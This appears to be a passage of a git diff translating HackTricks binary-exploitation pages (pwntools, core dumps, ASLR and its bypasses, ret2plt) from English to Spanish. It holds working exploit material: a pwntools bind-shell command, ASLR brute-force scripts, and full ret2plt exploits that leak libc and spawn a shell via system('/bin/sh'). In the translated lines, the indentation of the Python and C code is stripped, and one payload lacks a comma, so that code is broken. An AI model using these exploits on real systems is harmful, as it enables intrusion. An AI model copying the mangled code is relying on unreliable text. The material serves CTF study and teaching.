"\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: +### Depuración en linux remoto +Dentro de la carpeta IDA puedes encontrar binarios que se pueden usar para depurar un binario dentro de un linux. Para hacerlo, mueve el binario `linux_server` o `linux_server64` dentro del servidor linux y ejecútalo dentro de la carpeta que contiene el binario: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Luego, configura el depurador: Debugger (linux remote) --> Proccess options...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..8edd6e9a8 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +Obtener **opcodes** de una línea o archivo. ``` pwn asm "jmp esp" pwn asm -i ``` +**Puede seleccionar:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- tipo de salida (raw,hex,string,elf) +- contexto del archivo de salida (16,32,64,linux,windows...) +- evitar bytes (nuevas líneas, nulo, una lista) +- seleccionar codificador depurar shellcode usando gdb ejecutar la salida ## **Pwn checksec** -Checksec script - +Script checksec ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +Obtén un patrón ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Puede seleccionar:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- El alfabeto utilizado (caracteres en minúscula por defecto) +- Longitud del patrón único (por defecto 4) +- contexto (16,32,64,linux,windows...) +- Tomar el desplazamiento (-l) ## Pwn debug -Attach GDB to a process - +Adjuntar GDB a un proceso ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Puede seleccionar:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Por ejecutable, por nombre o por contexto de pid (16,32,64,linux,windows...) +- gdbscript para ejecutar - sysrootpath -## Pwn disablenx - -Disable nx of a binary +## Pwn deshabilitar nx +Deshabilitar nx de un binario ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +Desensamblar opcodes hex ``` pwn disasm ffe4 ``` +**Puede seleccionar:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- contexto (16,32,64,linux,windows...) +- dirección base +- color (predeterminado)/sin color ## Pwn elfdiff -Print differences between 2 files - +Imprimir diferencias entre 2 archivos ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +Obtener representación hexadecimal ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +Obtener hexdump ``` pwn phd ``` +**Puede seleccionar:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Número de bytes a mostrar +- Número de bytes por línea resaltar byte +- Omitir bytes al principio ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +Obtener shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Puede seleccionar:** -**Can select:** +- shellcode y argumentos para el shellcode +- Archivo de salida +- formato de salida +- depurar (adjuntar dbg al shellcode) +- antes (trampa de depuración antes del código) +- después +- evitar usar opcodes (predeterminado: no nulo y nueva línea) +- Ejecutar el shellcode +- Color/sin color +- listar syscalls +- listar posibles shellcodes +- Generar ELF como una biblioteca compartida -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Plantilla Pwn +Obtener una plantilla de python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Puede seleccionar:** host, puerto, usuario, contraseña, ruta y silencioso ## Pwn unhex -From hex to string - +De hex a cadena ``` pwn unhex 686f6c61 ``` +## Actualización de Pwn -## Pwn update - -To update pwntools - +Para actualizar pwntools ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..726813fde 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# Protecciones y Bypasses Comunes de Explotación Binaria {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## Habilitar archivos de núcleo -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +Los **archivos de núcleo** son un tipo de archivo generado por un sistema operativo cuando un proceso falla. Estos archivos capturan la imagen de memoria del proceso fallido en el momento de su terminación, incluyendo la memoria del proceso, registros y el estado del contador de programa, entre otros detalles. Esta instantánea puede ser extremadamente valiosa para depurar y entender por qué ocurrió el fallo. -### **Enabling Core Dump Generation** +### **Habilitando la Generación de Volcados de Núcleo** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +Por defecto, muchos sistemas limitan el tamaño de los archivos de núcleo a 0 (es decir, no generan archivos de núcleo) para ahorrar espacio en disco. Para habilitar la generación de archivos de núcleo, puedes usar el comando **`ulimit`** (en bash o shells similares) o configurar ajustes a nivel de sistema. +- **Usando ulimit**: El comando `ulimit -c unlimited` permite que la sesión de shell actual cree archivos de núcleo de tamaño ilimitado. Esto es útil para sesiones de depuración, pero no es persistente a través de reinicios o nuevas sesiones. ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **Configuración Persistente**: Para una solución más permanente, puedes editar el archivo `/etc/security/limits.conf` para incluir una línea como `* soft core unlimited`, que permite a todos los usuarios generar archivos de núcleo de tamaño ilimitado sin tener que establecer ulimit manualmente en sus sesiones. ```markdown - soft core unlimited ``` +### **Análisis de Archivos Core con GDB** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +Para analizar un archivo core, puedes usar herramientas de depuración como GDB (el depurador GNU). Suponiendo que tienes un ejecutable que produjo un volcado de core y el archivo core se llama `core_file`, puedes comenzar el análisis con: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +Este comando carga el ejecutable y el archivo de núcleo en GDB, lo que te permite inspeccionar el estado del programa en el momento del fallo. Puedes usar comandos de GDB para explorar la pila, examinar variables y entender la causa del fallo. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..997130b85 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -2,107 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer. -### **Checking ASLR Status** +### **Verificando el Estado de ASLR** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +Para **verificar** el estado de ASLR en un sistema Linux, puedes leer el valor del archivo **`/proc/sys/kernel/randomize_va_space`**. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**: Sin aleatorización. Todo es estático. +- **1**: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO están aleatorizadas. +- **2**: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de `brk()` está aleatorizada. +Puedes verificar el estado de ASLR con el siguiente comando: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **Deshabilitar ASLR** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +Para **deshabilitar** ASLR, debes establecer el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí te mostramos cómo puedes deshabilitarlo: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +También puedes desactivar ASLR para una ejecución con: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **Habilitando ASLR** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **Persistencia a Través de Reinicios** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +Después de editar `/etc/sysctl.conf`, aplica los cambios con: ```bash sudo sysctl -p ``` - -This will ensure that your ASLR settings remain across reboots. +Esto asegurará que la configuración de ASLR se mantenga a través de reinicios. ## **Bypasses** -### 32bit brute-forcing +### Fuerza bruta de 32 bits -PaX divides the process address space into **3 groups**: +PaX divide el espacio de direcciones del proceso en **3 grupos**: -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +- **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales. +- **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamada `delta_mmap`. +- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del 10º al 20º byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**. -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. +Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito. -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### Ideas de fuerza bruta: +- Si tienes un desbordamiento lo suficientemente grande para alojar un **gran NOP sled antes del shellcode**, podrías simplemente forzar direcciones en la pila hasta que el flujo **salte sobre alguna parte del NOP sled**. +- Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible **agregar el NOP sled y el shellcode en una variable de entorno**. +- Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Si atacas un servidor remoto, podrías intentar **forzar por fuerza bruta la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10s extra en responder**, encontraste la dirección de esta función. > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> En sistemas de 64 bits, la entropía es mucho mayor y esto no debería ser posible. -### 64 bits stack brute-forcing - -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: +### Fuerza bruta en la pila de 64 bits +Es posible ocupar una gran parte de la pila con variables de entorno y luego intentar abusar del binario cientos/miles de veces localmente para explotarlo.\ +El siguiente código muestra cómo es posible **simplemente seleccionar una dirección en la pila** y cada **pocas centenas de ejecuciones** esa dirección contendrá la **instrucción NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### Información Local (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y **contiene información interesante** como: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: Direcciones por encima y por debajo del **TEXT** del binario +- **startstack**: La dirección del inicio de la **pila** +- **start_data** & **end_data**: Direcciones por encima y por debajo donde está el **BSS** +- **kstkesp** & **kstkeip**: Direcciones actuales de **ESP** y **EIP** +- **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **argumentos cli**. +- **env_start** & **env_end**: Direcciones por encima y por debajo donde están las **variables de entorno**. -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**. > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat` -### Having a leak +### Tener un leak -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **El desafío es proporcionar un leak** +Si se te proporciona un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles): ```python from pwn import * @@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +Abusando de un desbordamiento de búfer, sería posible explotar un **ret2plt** para exfiltrar una dirección de una función de la libc. Ver: {{#ref}} ret2plt.md @@ -216,8 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): - +Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una **función de libc** desde el GOT. El siguiente [**ejemplo es de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +Puedes encontrar más información sobre la lectura arbitraria de cadenas de formato en: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +Intenta eludir ASLR abusando de direcciones dentro de la pila: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +El mecanismo **`vsyscall`** sirve para mejorar el rendimiento al permitir que ciertas llamadas al sistema se ejecuten en el espacio de usuario, aunque son parte fundamental del kernel. La ventaja crítica de **vsyscalls** radica en sus **direcciones fijas**, que no están sujetas a **ASLR** (Aleatorización del Diseño del Espacio de Direcciones). Esta naturaleza fija significa que los atacantes no requieren una vulnerabilidad de fuga de información para determinar sus direcciones y usarlas en un exploit.\ +Sin embargo, no se encontrarán gadgets super interesantes aquí (aunque, por ejemplo, es posible obtener un equivalente a `ret;`) -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(El siguiente ejemplo y código es [**de este informe**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) +Por ejemplo, un atacante podría usar la dirección `0xffffffffff600800` dentro de un exploit. Mientras que intentar saltar directamente a una instrucción `ret` podría llevar a inestabilidad o bloqueos después de ejecutar un par de gadgets, saltar al inicio de un `syscall` proporcionado por la sección **vsyscall** puede resultar exitoso. Al colocar cuidadosamente un gadget **ROP** que dirija la ejecución a esta dirección **vsyscall**, un atacante puede lograr la ejecución de código sin necesidad de eludir **ASLR** para esta parte del exploit. ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +Nota, por lo tanto, cómo podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..4d22d52e3 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -2,40 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +El objetivo de esta técnica sería **filtrar una dirección de una función del PLT** para poder eludir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función `puts` de la libc, puedes entonces **calcular dónde está la base de `libc`** y calcular los desplazamientos para acceder a otras funciones como **`system`**. +Esto se puede hacer con una carga útil de `pwntools` como ([**desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +Nota cómo **`puts`** (usando la dirección del PLT) se llama con la dirección de `puts` ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que para cuando `puts` imprime la entrada de la GOT de puts, esta **entrada contendrá la dirección exacta de `puts` en memoria**. -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +También nota cómo se utiliza la dirección de `main` en el exploit, de modo que cuando `puts` termina su ejecución, el **binario llama a `main` nuevamente en lugar de salir** (así que la dirección filtrada seguirá siendo válida). > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> Nota cómo para que esto funcione el **binario no puede ser compilado con PIE** o debes haber **encontrado una filtración para eludir PIE** para conocer la dirección del PLT, GOT y main. De lo contrario, necesitas eludir PIE primero. +Puedes encontrar un [**ejemplo completo de este bypass aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este fue el exploit final de ese **ejemplo**: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## Otros ejemplos y referencias - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget one. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md 